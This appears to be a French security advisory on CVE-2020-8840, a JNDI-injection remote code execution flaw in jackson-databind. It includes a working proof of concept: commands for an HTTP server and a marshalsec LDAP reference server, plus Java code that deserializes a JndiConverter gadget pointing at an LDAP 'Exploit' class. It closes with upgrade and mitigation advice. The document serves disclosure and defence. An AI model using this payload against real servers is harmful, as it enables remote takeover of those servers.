
CVE-2020-8840:FasterXML/jackson-databind vulnérabilité d'exécution de code à distance
jackson-databind est une bibliothèque de traitement JSON appartenant au groupe de projet FasterXML.
Le 19 février, NVD a publié un avis de sécurité divulguant une vulnérabilité d'exécution de code à distance dans jackson-databind due à une injection JNDI (CVE-2020-8840), avec un score CVSS de 9,8. Dans les versions affectées de jackson-databind, en raison de l'absence de certaines classes de la liste noire xbean-reflect/JNDI, telles que org.apache.xbean.propertyeditor.JndiConverter, un attaquant peut utiliser une injection JNDI pour exécuter du code à distance et obtenir le contrôle du serveur (au niveau du service Web).
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2


Utilisez simplehttp pour mettre en place un service Web
python -m SimpleHTTPServer 8080

Ici, nous utilisons marshalsec. Lien GitHub : https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit


poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

Mettez à niveau jackson-databind vers les versions 2.9.10.3, 2.8.11.5, 2.10.x
Vérifiez si le projet utilise xbean-reflect. La cause principale de cette vulnérabilité est l'existence d'une chaîne d'exploitation spéciale dans xbean-reflect permettant à un attaquant de déclencher un chargement de classe distant via JNDI. Supprimer xbean-reflect peut atténuer l'impact de la vulnérabilité.
https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee